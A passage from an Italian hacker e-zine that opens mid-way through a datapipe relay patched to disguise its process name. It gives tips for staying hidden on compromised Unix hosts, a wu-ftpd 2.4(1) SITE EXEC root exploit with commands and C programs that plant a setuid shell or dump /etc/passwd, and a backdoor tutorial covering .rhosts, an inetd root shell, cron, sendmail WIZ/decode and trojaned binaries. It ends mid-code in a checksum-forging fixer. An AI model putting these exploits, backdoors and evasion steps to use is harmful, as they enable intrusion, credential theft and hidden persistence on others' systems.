perror("
socket");
return 20;
}
laddr.sin_family = htons(AF_INET);
laddr.sin_addr.s_addr = htonl(0);
if (bind(lsock, &laddr, sizeof(laddr))) {
perror("
bind");
return 20;
}
if (listen(lsock, 1)) {
perror("
listen");
return 20;
}
if ((nbyt = fork()) == -1) {
perror("
fork");
return 20;
}
if (nbyt > 0)
return 0;
setsid();
while ((csock = accept(lsock, &caddr, &caddrlen)) != -1) {
cfile = fdopen(csock,"
r+");
if ((nbyt = fork()) == -1) {
fprintf(cfile, "
500 fork: %s\n", strerror(errno));
shutdown(csock,2);
fclose(cfile);
continue;
}
if (nbyt == 0)
goto gotsock;
fclose(cfile);
while (waitpid(-1, NULL, WNOHANG) > 0);
}
return 20;

gotsock:
if ((osock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
fprintf(cfile, "
500 socket: %s\n", strerror(errno));
goto quit1;
}
oaddr.sin_family = h->h_addrtype;
oaddr.sin_port = htons(oport);
memcpy(&oaddr.sin_addr, h->h_addr, h->h_length);
if (connect(osock, &oaddr, sizeof(oaddr))) {
fprintf(cfile, "
500 connect: %s\n", strerror(errno));
goto quit1;
}
while (1) {
FD_ZERO(&fdsr);
FD_ZERO(&fdse);
FD_SET(csock,&fdsr);
FD_SET(csock,&fdse);
FD_SET(osock,&fdsr);
FD_SET(osock,&fdse);
if (select(20, &fdsr, NULL, &fdse, NULL) == -1) {
fprintf(cfile, "
500 select: %s\n", strerror(errno));
goto quit2;
}
if (FD_ISSET(csock,&fdsr) || FD_ISSET(csock,&fdse)) {
if ((nbyt = read(csock,buf,4096)) <= 0)
goto quit2;
if ((write(osock,buf,nbyt)) <= 0)
goto quit2;
} else if (FD_ISSET(osock,&fdsr) || FD_ISSET(osock,&fdse)) {
if ((nbyt = read(osock,buf,4096)) <= 0)
goto quit2;
if ((write(csock,buf,nbyt)) <= 0)
goto quit2;
}
}

quit2:
shutdown(osock,2);
close(osock);
quit1:
fflush(cfile);
shutdown(csock,2);
quit0:
fclose(cfile);
return 0;
}
----------------------------ok taglia qui e salva-------------------------------

Per chiunque si interessi di sicurezza e programmi in C questo dara' adito
ad un sorriso. D'accordo, sorrido anche io :) Si' non c'e' una
implementazione newbie-proof di malloc. E allora? Questo non e' un hack
nel senso mitico della parola. Tranne forse che nell'idea. Peraltro gia'
professata e sicuramente scoperta da ogni altro coder sulla terra.

  
Ma
questa edizione e' per i newbie, in accordo con l'introduzione del primo
numero di bfi. Quindi buoni! :)

Per gli altri non sara' poi molto ovvio, forse. Diamo un occhio da vicino.

#define CIAO_PS "bfi_2" Ogni ricorrenza nel sorgente di CIAO_PS verra'
sostituita da "bfi_2". Checce frega ? Beh, quando farete partire il
vostro datapipe rinominato come super_lettera_di_dimissioni (o qualunque
altra cosa) dando ps ax il processo apparira' come bfi_2 !!!! Quindi siete
pregati di cambiare questo define per avere un altro nome processo di
default, se non volete far capire a tutti cosa leggiate a scuola.

for(i=0; i < argc; i++) {
bfiargv[i] = malloc(strlen(argv[i]) + 1) ;
strncpy(bfiargv[i], argv[i], strlen(argv[i]) + 1) ;
}
bfiargv[argc] = NULL ;

Qui creiamo una copia degli argv di datapipe che utilizzeremo al posto
degli originali per passare gli argomenti.

argvlen = strlen(argv[0]);
if (argvlen < strlen(CIAO_PS)) {
printf("Se vuoi fregare davvero ps vedi di lanciarmi almeno come \
superFunkyDataPipe !\n"
) ;
abort();
}

Questo e' da tenere d'occhio. Se avete rinominato il binario dp invece di
datapipe o di lettera1998, non potete farlo apparire come nomepsmoltolungo
In pratica l'argomento che apparira' in ps ax deve essere non piu' lungo
di come si chiami il file binario. Scusate, non sono cosi' in gamba ancora
come coder.

if (bfiargv[4]) fintops = bfiargv[4] ;
strncpy(argv[0], CIAO_PS, strlen(CIAO_PS));
for(i = strlen(CIAO_PS); i < argvlen; i++) argv[0][i] = '\0';
for(i=1; i < argc; i++) {
argvlen = strlen(argv[i]);
for(j=0; j <= argvlen; j++)
argv[i][j] = '\0';
}

Se avete specificato il fakeps alla linea comando useremo quello come
nuovo argv[0], altrimenti useremo il default definito in CIAO_PS. Poi
cancelliamo tutti i vecchi parametri in modo da non apparire in ps ax.

Risultato netto: root con ps ax non vedra' quello che si aspetta. In un
sistema dove e' possibile nascondersi come consigliato nel primo numero,
con semplici tecniche 'mimetiche' :) questo piccolo artificio in piu'
potrebbe fornirci vero anonimato. MA ... questo patch ha sia PRO che
CONTRO.

Partiamo dai CONTRO: datapipe e' un demone. Forka un figlio per la
connessione. Voi la terminate ed il figlio muore. Non trovera' il parente
con lo stesso nome con cui e' stato lanciato. Quindi un bel processo Z o
zombie con il nome 'reale' rimarra' in ps ax .... lo so e' una fregatura.
Ma d'altra parte non ho ancora sentito di tizi che lascino su il pipe
attivo dopo averlo usato. Da quando chiudete la connessione a quando
chiudete il datapipe non dovrebbe passare piu' tempo di quello necessario
a dire SYN/ACK :) Chiudete il parente col nome fakeps da voi scelto e lo Z
se ne andra' con lui. Questo CONTRO e' stato testato su Linux. Nota che
avviene in quanto datapipe funziona come demone. Per ogni altro comune
processo attaccato ad un terminale, questo non avviene se non forka figli.
Se sembra confuso e' perche' lo sono un poco anche io in relazione alla
programmazione socket e demoni. Ma ci sto lavorando. E avrete una versione
Z-proof. Chissa' che qualun altro non la tiri fuori per bfi3 ...

i PRO: questo concetto (si' anche il sorgente) funziona ottimamente con
OGNI programma in C da occultare in questa maniera. Potete inserirlo in
ogni sorgente, modificando poi le chiamate ai vari argv in modo da avere
sempre un argomento su linea di comando che vi specifichi il nome processo
da usare. Se volete arzigogolare, con un bel switch-case su linea di
comando :) No, non e' pero' plug-and-play su ogni sorgente, qualcosina
dovreste farla anche voi con vi. (se vi state chiedendo perche' vi non
funzioni con rsh sh -i, cominciate ad imparare anche e/ed/ex )
Dopo aver fatto 'patchato' datapipe.c estraete il sorgente che si occupa
del fakeps e studiatelo (no, non voi che sapete gia' programmare, gli
altri). Almeno vi eviterete fastidi e bestemmie modificando altri sorgenti.

IDENTIFICAZIONI IN RETE - IDENTD

Ok, siete sul sistema e lo volete usare per le vostre fakemail, o i vostri
accessi remoti ad altre macchine. Peccato che spesso e volentieri vi
portiate dietro il vostro userid per colpa del demone identd che si occupa
del servizio AUTH come specificato in /etc/inetd.conf sulla porta 113 come
si 'evince' da /etc/services (questi file dovreste sempre guardarli, anche
per le semplici backdoor). Qualcuno stara' pensando, diventato root, di
creare un altro account, o magari di farlo creare da un cron, o da un
alias di sendmail, o magari da un fingerd 'patchato'. Queste sono tutte
interessanti backdoor, ma hanno un problema nei confronti degli admin
semiparanoici. Quando un root dell'host B chiamera' il root dell'A
chiedendo xche' mai un suo utente pippo provi a bucarlo, rootA capira' che
pippo non esisteva e scoprira' che qualcuno ha rootato la sua macchina. Ma
se pippo non fosse nel file /etc/passwd e non ci fossero cron o alias
sospetti allora potrebbe pensare si tratti di un errore.
DISCLAIMER: non e' a prova di vero root. Ma puo' far guadagnare in privacy
e sopravvivenza sul sistema.
In realta' quel che potremmo aver fatto e' modificare il demone identd in
modo che legga da un file nella vostra dir (di un utente da voi bucato) il
nome da comunicare all'host remoto. Modificando il sorgente potreste ad
esempio specificare anche un file binario nominato come contocomit_crypt
:) che root potrebbe non sospettare come malevole.
Questo e' abbastanza lame, e' vero ;), ma trovo sia meglio che non crearsi
ad hoc un nuovo account (spesso visibile) o dare la colpa ad altri utenti,
cosa che insospettirebbe maggiormente il sysadm.

NOTA newbie: identd non serve in locale. Non sperate di cambiare l'userid
owner dei vostri processi cosi'.

FUGA PRECIPITOSA

Spesso puo' capitare di dover abbandonare un sistema in fretta lasciando
solo una backdoor semplice (non a root) per tentare di rientrare piu'
tardi .... potrebbe essere una buona idea avere un proggy che cancelli
TUTTO cio' che avete aggiunto al sistema (se avete modificato e
cancellate, il sistema rimarra' danneggiato e le paranoie legali di root
aumenterebbero). Portate con voi magari solo una copia del passwd e
shadow. Ah, magari portate anche i random seed di SSH e tutto cio' che
possa esservi di aiuto se DAVVERO doveste rientrare. (ne siete sicuri?)
In questo caso un bel .forward al momento opportuno puo' attivare un bel
cleanup della vostra dir e di altri file semplicemente mandando mail
all'account bucato o creato.

CREARE TROYAN

O meglio non crearli, ma modificare /usr/bin e co. .... spesso e' inutile
loggarsi in telnet, o rsh per modificare i file di sistema. Oggi giorno va
tanto di moda il NETBIOS proprio come NFS qualche tempo fa. Molto meglio
accedere alle risorse (opportunamente aperte da voi, se non lo sono gia')
per modificare file e affini. Se riuscirete con un bel cron magari ad
aprire in scrittura risorse condivise inizialmente solo in lettura, o a
crearne di nuove, potreste immettere cavalli di troia e modificare al
tempo stesso alcuni log testuali come il samba.log :) Oppure spostate
contenuti significativi nelle dir normalmente condivise ... anche qui la
fantasia e' d'obbligo. (ovvero leggete anche romanzi e saggi, non solo sta
roba :)
Levate il nosuid dal file /etc/fstab, stando poi attenti al log /etc/rmtab
(per NFS) ... insomma vedete un po' voi.
Pensate alla possibilita' di inserire nel .profile di root o di account
amministrati dei comandi che eseguano dei vostri programmi di allerta e
poi cancellino e ripristino l'originale .profile ... con questo voglio
dire che potreste trovare il rootkit per tutto, ma spesso rimanere in un
sistema vuol dire anche giocare su queste cose, come in una partita a
scacchi. Bisogna prevedere ed anticipare. Non solo imparare le aperture.
DISCLAIMER: no, non sono l'hacker che stavate aspettando. Non sono
neanche un hacker. O meglio non un buon cracker. Sto tentando di essere un
buon hacker. Ma non ci siamo ancora :) Ho la fortuna di sapermi esprimere
un tantino. :) E penso questo possa essere utile ad alcuni.

IL DIAGRAMMA DI ESCHER

Titolo altisonante come si confa ad un giornalista televisivo italiano :)
In pratica l'eterno dilemma dello spiare chi spia. O della mano che
disegna se stessa, se preferite o conoscete Escher. Ad ogni modo e'
sicuramente utile cercare di capire COME ci si accorga della vostra
presenza su di un sistema Unix per cercare di non farsi vedere.

Spesso e volentieri il sysadm potra' incappare in una delle seguenti
possibilita':

beccarvi sul fatto A
dedurre l'intrusione da alcune tracce evidenti B
essere messo sul chi vive da altri sysadm di sistemi remoti C
notare strani comportamenti|malfunzionamenti nelle sue macchine D

--- A ---
Se volete evitare di essere beccati sul fatto, dovreste come minimo
evitare di essere collegati su linee terminali multiple (sebbene in
sistemi con teminali X sia spesso normale) soprattutto se fanno capo a
differenti ingressi nel sistema (dial-in, telnet, ftp etc etc).

Se state impersonando una segretaria o uno studente del primo anno di
storia medievale anglosassone non e' una buona idea utilizzare un
compilatore o peggio ancora un debugger se root|admin e' collegato al
momento.

Evitate di fare uso massivo delle risorse di rete, aprendo demoni e
connessioni multiple, a meno che questo non accada in laboratori
studenteschi dove download avvengono copiosi. Evitate altresi' di entrare
in IRC "da quel sistema" per bearvi con gli altri delle vostre imprese.

Se avete raggiunto un sistema che ha a disposizione un dial-out telefonico
evitate di utilizzarlo troppo o di aprire chiamate multiple e
contemporanee se davvero avete intenzione di rimanere occultati.

Evitate i processi con UID/EUID=0 quando ci sono altri utenti collegati.
Avete presente la finestra sul cortile? Chissa' quale di quegli utenti e'
un esperto amico dell'admin? ;)

Minimizzate al massimo le connessioni che loggino nomi host sconosciuti
per quella rete.

Se l'utente che impersonate e' in vacanza, ammalato, MORTO :) utilizzare
frequentemente l'account puo' essere sospettoso.

Tutte queste linee guida derivano dalle comuni checklist per root.
Sappiate che root cerchera' queste anomalie mediante w, who, finger, last,
ps e netstat come minimo. Ma potrebbe avere un programmino che inglobi
queste ricerche dal nome sconosciuto e potrebbe usarlo, mentre voi vi
impegnate con i rootkit a modificare i normali binari ....

--- B ---
Ok ... se inserite nuovi account in /etc/passwd dal nome r00t, toor,
1owny0u e cavolate simili, il sistema andra' in singlemode pronto ad un
buon backup dei binari, prima di quanto non immaginiate. Se modificate a
caso ogni file in /etc e non ricordate cosa avete modificato, se
aggiungete file e li lasciate li' per giorni, se registrate log di
connessioni irc, li scaricate, ma non li cancellate .... beh l'effetto e'
lo stesso. Niente progrs o script qui. man furbizia.

--- C ---
Non pensiate di essere a posto con un semplice hop. Un hop puo' essere ok
solo se lo fate da macchine che non pensano neanche di poter avere un
utente collegato :) Tipo magari un bel nc in server mode che spawni un
cmd.exe sulla porta 6000 di NT :) O magari sulla porta 23 del malcapitato
WinGate di turno. Altrimenti siate pronti allo stesso discorso sui log
fatto fin ora. Altrimenti l'admin remoto si lamentera' con quello del
sistema che avete bucato, dicendogli che qualcuno si diverte dalla sua
macchina.

--- D ---
Se volete divertirvi con jizz o similari, cercate di capire cosa stiate
facendo. Se buttate giu' le connessioni al DNS e impedite i resolv di
un'azienda se ne accorgeranno TUTTI. Se crashate una macchina xche'
modificate in malo modo le immagini di boot, se ne accorgeranno TUTTI. Se
d'altra parte un admin abituato su una macchina a lasciare il filesystem
incasinato, la trova a posto, pulita ed efficiente come non mai, potrebbe
meravigliarsi di questo fs autopulente come un forno DELONGHI oppure
capire che qualcuno abbia UID=0 anche lui. Rimanere occultati non vuol
dire solo editare log. Vuol dire comportarsi davvero come a nascondino e
mosca cieca.

Come capire se siete monitorati? Difficile a dirsi. Spesso non e' facile
ottenere l'.history di root e nemmeno avere accesso ai pacct, acct e co.
di root. Alcuni indizi possono essere la flag PROMISC delle interfacce di
rete. O root sta spiando i pacchetti oppure qualcun altro lo sta facendo
:) Si, ok, alcuni rootkit modificano ifconfig, altri il kernel, ma e'
difficile che sia in prima istanza il vero sysop. Se cosi' fosse, le
speranze di poter entrare in quel sistema o di rimanerci, sono pari ai
tentativi di rimanere nascosti nelle macchine dei l0pht. Qualcuno potrebbe
riuscirci. Sinceramente dubito possano farlo in molti. O che si possa
proprio fare.

Potrebbe essere attivo snoop o ttywatch o simili che registrino ogni
singolo colpo sulla vostra tastiera ... qui puo' essere utile capire quale
possa essere il processo (spesso avra' un carico deciso, rispetto ad altri
processi) e valutare con lsof quali siano i file aperti da quel processo,
per trovare il log.

NASCONDERE FILE ?!

Spesso puo' essere necessario. Spesso risultera' un bel grattacapo per voi e
root al momento stesso. Cosa fare ? Nascondere directory in livelli
profondissimi del filesystem? Hmm ... a parte la scomodita' questo e' il
tipoco security by obscurity ... non serve per difendere un sistema, non
serve neanche per attaccarlo, se l'admin vale qualcosa.

Certo si puo' creare directory che contengano spazi, caratteri di
controllo e compagnia bella. Ma spesso il path relativo, wildcard e il
comando ls -l |cat -v mostreranno quel che serve. Su alcuni sistemi Unix
di tipo Matusalemme (continuo a scherzare su questo punto, ma se ne
trovano ancora molti) e' possibile da root chiamare un unlink del file ..
presente in ogni dir. Dopodiche' potrete creare un file .. (senza spazi o
altro) nel quale inserire i vostri file.

Questo esempio puo' essere usato analogamente ancora oggi in dir di
sistema che siano pero' vuote, creando dir con spazi piu' o meno vari
all'interno di quelle dove depositare file con il . preposto .... come dire,
OK ci si puo' arrivare, ma vediamo quanto ci metti.

Cambiare il nome puo' essere si' utile, ma se lasciate file con SETUID=0 in
esecuzione, potete chiamarlo come volete, ma un semplice find potra'
trovarlo come nulla. Non e' forse cosi' che cercate voi file SUID con o+w ???

Questo non vuol dire che non si possa davvero nascondere file nel sistema.
Mi e' stato detto che si possa modificare il sorgente del kernel che si
occupa del filesystem, facendogli saltare a pie' pari porzioni del disco,
accessibili poi direttamente in modo raw con altri programmi, dove poter
scrivere e mantenere file nascosti. NO, non mi sto riferendo a moduli che
nascondano dir e file che cominciano con un certo pattern. Ma a veri e
propri buchi nel disco che fschk ed il kernel non rilevano. Non sono
minimamente in grado di implementarlo o testarlo. Ma volevo solo farvi
notare come metodi ci siano sempre. Abbiamo un'implementazione. Abbiamo
quindi il modo di modificarla o sovvertirla. Tutto qui.

Senza contare che spesso un modo utile in LAN con alti gradi di trust tra
i sistemi, e' quello di tenere i vostri file su directory condivise o
mountate in NFS o SAMBA sul sistema che volete mantenere. Sempre che
ovviamente quei sistemi che esportano non presentino lo stesso
problema/necessita' di dover nascondere il tutto.

EOF

Questo, nonostante quel che abbia detto all'inizio e' comunque un testo che
potremmo definire DI BASE. Semplicemente xche' per avere sott'occhio cosa
si sta facendo, questo file NON e' sufficiente. E' necessario a mio avviso
impratichirsi delle basi di Unix usando a casa Linux o FreeBSD. Fino ad
arrivare, prima o poi, ad un buon testo o manuale di sistema. Quindi se
usate questo file per sapere cosa guardare da una finestra telnet sotto
WIN95/NT sappiate che avete sott'occhio una (forse) buona infarinatura. Ma
sempre di questo si tratta. Eppure penso che valga quel che bfi si
presuppone. Aprire gli occhi e rivelare quel che basta agli italiani per
non essere ignoranti in materia. Sta poi a voi.
fusys


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍHACKiNGÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ WU-ŸTP 2.4(1) EXPL0iT ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Hello raga, scrivo questo articolo non perche' io pensi che tutti voi non
conosciate il bug che c'e' nel wu-ftp 2.4(1), ma perche' mi sono rotto le
palle di sentir dire che e' un exploit che si puo' usare solo da locale...
BALLE!!!!!!!!! Se ci sono certe condizioni, il bug del wu-ftp 2.4(1) puo'
essere utilizzato anche per ottenere root da remoto!!!!!
Vediamo un po' come si fa:

Iniziamo con la versione "normale", cioe' quella che si trova da tutte le
parti, sul wu-ftp 2.4(1) bug.

Allora, come prima cosa, create un programmino che copi la shell nella
directory tmp (o dove vi pare) e che la renda eseguibile da chiunque, poi
compilatelo nel sistema che volete hackerare.
Il programmino potrebbe essere questo:

shell.c
-----------tagliate qui------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main()
{
seteuid(0);
system("cp /bin/sh /tmp/.sh");
system("chmod 6777 /tmp/.sh");
system("chown root /tmp/.sh");
system("chmod 4755 /tmp/.sh");
system("chmod +s /tmp/.sh");
}
-----------tagliate qui------------

Quindi, collegatevi con ftp al vostro sito e loggatevi con il vostro user e
passwd...

220 exploitablesys FTP server (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994)
ready.
Name (exploitablesys:root): goodaccount
331 Password required for goodaccount.
Password: (password)
230 User goodaccount logged in.
Remote system type is UNIX.
Using binary mode to transfer files.

Quindi scrivete:

ftp> quote site exec bash -c id

Se vi risponde qualche cosa di questo tipo vuole dire che e' buggato:

200-bash -c id
200-uid=0(root) gid=0(root) euid=505(statik) egid=100(users) groups=100(users)
200 (end of 'bash -c id')

Se e' buggato non dovete fare altro che scrivere:

ftp> quote site exec bash -c /la/tua/home/dir/shell
200-bash -c /la/tua/home/dir/shell
200 (end of 'bash -c /la/tua/home/dir/shell')
ftp> quit
221 Goodbye.

Per avere nella dir tmp la shell di root.

OK, ricapitolando, questo bug e' "etichettato" come compromettente solo
per locale per 2 motivi:

1) Vi ci vuole un account per collegarvi ed eseguire la shell nella dir /tmp.
2) Dovete compilare il programmino sul sistema che volete hackerare.

Ma a tutto questo si puo' ovviare :)

Innanzitutto, il sistema da attaccare deve concedere l'anonymous login per
l'ftp, cosi' potete loggarvici dentro e vedere se e' buggato.

Poi dovete vedere se il vostro bersaglio ha una dir scrivibile (in genere
/incoming)

Poi, dovete vedere in che dir del sistema remoto e' posto l'ftp
/home/ftp per Linux
/var/ftp oppure
/etc/ftp per gli altri

Quindi dovere modificare a seconda delle vostre esigenze il programmino
seguente, compilarlo e inviarlo nella directory scrivibile del vostro sistema
da attaccare:

-----------tagliate qui------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main()
{
seteuid(0);
system("cp /etc/passwd /home/ftp/incoming/h");
system("chmod 755 /home/ftp/incoming/h");
}
-----------tagliate qui------------

Poi con la maniera descritta sopra lo fate eseguire dal Wu-ftp, e vi ritrovate
con il file h che contiene le passwd del sistema.

N.B.: Ricordatevi di cambiare il percorso /etc/passwd con il percorso del
vostro file delle passwd ;)

Quindi non avete altro da fare che scaricarlo e crackare qualche account per
poi collegarvi al sistema e sfruttare nuovamente il bug di wu-ftp (questa
volta nella maniera classica ;) per diventare root.

Naturalmente ci puo' essere qualche problema utilizzando questo metodo perche'
il programma gia' compilato da voi e uploadato sul sistema bersaglio puo'
non funzionare, inutile dire che per cercare di ovviare a questo inconveniente
dovete cercare di compilare il suddetto programmino su un sistema che e' il
piu' possibile simile a quello che provate ad hackerare.

Un altro problemino e' che nella dir /incoming ci rimane il file h, che
contiene il file delle passwd del sistema, e quindi se il sysadm lo vede puo'
cominciare a sospettare qualche cosa.....
Pero', se crackate subito qualche account e poi diventate root non ci sono
problemi, lo togliete subito. Se pero' le passwd sono difficili da crackare
e vedete che per trovare un account vi ci vuole piu' del previsto (cosa
parecchio, ma parecchio rara perche' se un sito ha il bug del wu-ftp vuol dire
che il livello di sicurezza non e' molto alto) basta che vi compiliate un altro
programmino che toglie h e tutti i prog che avete inviato dalla dir /incoming
e lo facciate eseguire sempre con il wu-ftp.

Non sto a mettere un esempio del programmino perche' non ho voglia e perche'
penso che se non siete capaci di farlo da soli e' meglio che non diveniate
root su qualche sistema :)

Cmq, se proprio ci tenete a non lasciare momentaneamente file compromettenti
nella dir /incoming del sito che attaccate, spediteci questo programmino al
posto di quello precedente (compilato naturalmente ;) che, invece di copiare
tutto il contenuto del file delle passwd, lo mostra.

-----------tagliate qui-----------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main()
{
seteuid(0);
system("cat /etc/passwd");
}
-----------tagliate qui-----------

Pero' il problema principale del metodo descritto qui sopra e' un altro ....
Per capirlo bene e' necessario spiegare un po' meglio come funge l'exploit
descritto sopra. Innanzitutto il bug sta nel fatto che il site exec ha
(di default) come PATH di esecuzione /bin per gli utenti registrati, (quindi
consente di fare praticamente tutto) e non controlla il reale uid e gid di chi
esegue il comando prima di farlo, quindi praticamente e' come se passaste i
comandi come root.
Il fatto pero' e' che quando vi collegate come anonymous vi prende come PATH
di esecuzione non /bin ma /home/ftp/bin (nel caso di linux), che in genere
e' una dir non scrivibile e che non contiene programmi che possono servire come
ad esempio la bash.
Quindi a meno di settaggi clamorosi della dir /home/ftp/bin/ come ad esempio
la capacita' di poterci uploadare roba, oppure di contenere la shell, se fate
il SITE EXEC bash -c id non otterrete nulla.
Comunque, si puo' sempre ovviare a questo e sfondare da remoto, se ci sono
certe condizioni:

1) la dir /home/ftp/bin contiene il comando tar
2) ho una dir scrivibile dove mettere file
3) posso fare un site chmod

Funziona cosi': Mi faccio un programmino che fa un seteuid(0), chiama
chmod(0755, "/home/ftp/bin") e copia lo std input nello std output.
Poi lo inviate nella dir scrivibile insieme a dei file compressi con il tar che
contengono una shell linkata staticamente (se no quando la eseguite con il site
exec non va perche' cerca i vari file /lib/lib.so etc etc) e i programmi di cui
avete bisogno.
Poi scrivete:

site exec tar --use-compress-program /incoming/hack -xf /incoming/programmi_miei.tar

Questo dovrebbe estrarre i vostri file nella directory /home/ftp/bin
consentendovi cosi' dopo di chiamare la shell che avete messo in
programmi_miei.tar e di utilizzare il site exec con quella shell per lanciare i
vari programmini presentati sopra per prendervi il file delle passwd.

Un grande CIAO a tutti
DevilKiss


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍHACKiNGÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ A P0RTE APERTE ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
BACKD00RS SU SiSTEMi *NiX

Autore: Dark Schneider (dashie)

Consumo: 1/2 coca-cola allungata con la fanta
4-5 ciokkoplum

Musica ascoltata: Mordred's Song (Blind Guardian)
Bright Eyes (Blind Guardian)

Sull'onda del grande PiGPeN ho deciso di scrivere anch'io qualcosa, sperando
che serva a qualcuno. Beh, direi che se si entra in un sistema, poterci tornare
e' una cosa utile percio'..... si comincia!

Ci sono diversi modi, una volta acquisiti i diritti d'accesso di root per
lasciare backdoors piu' o meno evidenti: shell setuid, rhosts, inetd, cron,
sendmail.

Shell SetUID

Le shell setuid sono il sistema piu' classico, ma anche piu' facilmente
rintracciabile. Consiste nel copiare una shell (quella che volete) in una
directory nascosta accessibile a tutti e settarne il bit setuid con il comando
chmod 4777 <nomeshell>. Una raccomandazione: cambiatene il nome con qualcosa
di piu' innocuo come test, mioprog, etc..
Un altro modo puo' essere questo: prendete un file qualsiasi della directory
/usr/sbin o /usr/bin il piu' inutile possibile tipo, chesso', calendar o altre
amenita' che si installano ma non usa mai nessuno e sovrascrivetelo con la
vostra shell....occhio che ci sono anche sysadm che tengono un elenco dei file
con le relative dimensioni e crc, quindi possono individuarvi lo stesso.

File .rhosts

La piu' classica delle backdoor: si aggiungono due + al file .rhosts nella
mount dir di root:

echo "+ +" >>.rhosts

Questo e' il primo file che ogni assennato sysadm dovrebbe (e di solito lo fa)
andare a controllare...

Inetd e /etc/services

Un modo un po' piu' elegante di installare backdoor e' quello di attivare
servizi particolari tramite inetd.
Il formato del file inetd.conf e' il seguente:

nomeservizio tipo protocollo mode uid programma comando
ftp stream tcp nowait root /usr/etc/ftpd ftpd
talk dgram udp wait root /usr/etc/ntalkd ntalkd

Nomeservizio contiene il nome del daemon specificato in /etc/services che dice
a inetd cosa cercare in /etc/services per associare il programma al demone;
ad esempio indica se il socket e' di tipo stream (flusso continuo) o se usa i
datagrammi; mode indica se le altre connessioni devono attendere (wait) o no
(nowait) le altre connessioni; uid e' ovviamente l'uid con cui viene eseguito
il daemon; programma indica il programma da eseguire e comando indica le
opzioni del programma all'esecuzione.
La backdoor in questo caso consiste nell'inserire un nuovo servizio su una
porta inutilizzata, nel nostro caso una banale shell.
Es:
Con un editor tipo vi editare /etc/services aggiungendo la linea:

teln 4144/tcp teln

(il primo campo e' il nome del servizio, il secondo la porta con il relativo
protocollo e l'ultimo e' il nome associato al servizio)

poi editate /etc/inetd.conf aggiungendo:

teln stream tcp nowait /bin/sh sh -i

Dopodiche' occorre riavviare inetd, per cui aspettate che non ci sia in giro il
sysadm in questo modo:

#ps

cercate il pid (prima colonna) di inetd e poi:

#kill -9 pid ; /usr/sbin/inetd

Questo interrompera' tutte le connessioni dall'esterno e poi riavviera' inetd,
per cui fate attenzione! :)

Cron

Le backdoor con il cron sono tra le piu' durature ed eleganti e soprattutto ci
si puo' sbizzarrire ad inventarne di ogni tipo.
Per installare una bd di questo tipo occorre conoscere il formato del file
/var/spool/crontab/root (il mio preferito... :)

Minuti ore giorno mese giornodellasettimana comandi

Una delle mie bd preferite consiste nel far copiare a cron una shell setuid in
/tmp ad una data ora tipo mezzanotte, e poi cancellarla 5 minuti dopo; oppure
si puo' far creare un file .rhosts e farlo cancellare dopo un po' e magari
uccidere (kill -9) syslogd per interrompere il logging (cosi' lo riavviamo
quando abbiamo finito il lavoro.... :), etc...etc..

Ma la mia BD preferita in assoluto e quella con:

Sendmail

Gia', ecco la bd che in assoluto uso piu' spesso e che finora non e' mai stata
individuata da NESSUNO (anche se ora credo che non sara' piu' la mia bd
segreta...ma fa lo stesso).
Nessun sysadm pensera' mai al buco piu' vecchio del mondo: il megamighty WIZ!
Infatti e' possibile riattivare la famosissima bd di sendmail semplicemente
aggiungendo la riga

OW <password criptata>

al file sendmail.cf
In un modo simile si puo' anche riattivare il decode alias aggiungendo la linea

decode: |/usr/bin/uudecode

al file /etc/aliases.
Poi basta creare uno script uudecode.sh cosi':

#!/bin/sh
echo "+ +" >tmpfile
/usr/bin/uuencode tmpfile /root/.rhosts

e telnettare all porta 25 dell'host all'utente decode@host.com e usare come
subject la versione uuencoded del file .rhosts, cosi':

echo "+ +" |/usr/bin/uuencode /root/.rhosts |mail decode@victimhost.com

Ma non e' detto che non si possa anche far eseguire altre cosette a decode,
tipo un programmino a vostra scelta, magari.....:)

Altre backdoor sono piu' a livello di trojan, quindi si tratta di aggiungere la
possibilita' al codice di avere un parametro particolare, es:
if (argv[1]=="secret")
{
system("/bin/cp /bin/sh /tmp");
system("/bin/chmod 4755 /tmp/sh")
}
e cosi' via (badate bene, e' solo un esempio).
Utili programmi in cui possono essere inserite bd sono login, passwd, ps, ls o
altri...
Per fare in modo invece che i programmi "modificati" mantengano le stesse info
degli originali potete usare il seguente programmino

<fix.c>
-----------tagliate qui------------
/*
* fixer.c
* by Idefix
* inspired on sum.c and SaintStat 2.0
*
* text file busy bug fixed, no longer requires backup filename, grammar
*/


#include <sys/types.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <stdio.h>
#include <unistd.h>

main (argc,argv)
int argc;
char **argv;
{
unsigned orig_crc,current_crc,temp;
unsigned char diff1,diff2,buf[20];
char systemstr[100];
struct stat statbuf;
struct timeval ftime[2], otime, ntime;
struct timezone tzp;
long position;
FILE *f;
int i,fix=1;


if (argc<3) {usage();exit(1);}

stat(argv[1],&statbuf);

if (sum(argv[1],&orig_crc)!=0) exit(1);
if (sum(argv[2],¤t_crc)!=0) exit(1);

if (argc==4) {
sprintf(systemstr,"cp %s %s",argv[1],argv[3]);
system(systemstr);
}
sprintf(systemstr,"mv %s %s",argv[2],argv[1]);
system(systemstr);

diff1=(orig_crc&0xFF)-(current_crc&0xFF);
temp=(current_crc+diff1)&0xFFFF;
for(i=0;i<8;i++)
{
if (temp&1) temp = (temp>>1) + 0x8000;
else temp >>= 1;
}
diff2=((orig_crc&0xFF00)>>8)-(temp&0xFF);
temp=(temp+diff2)&0xFFFF;
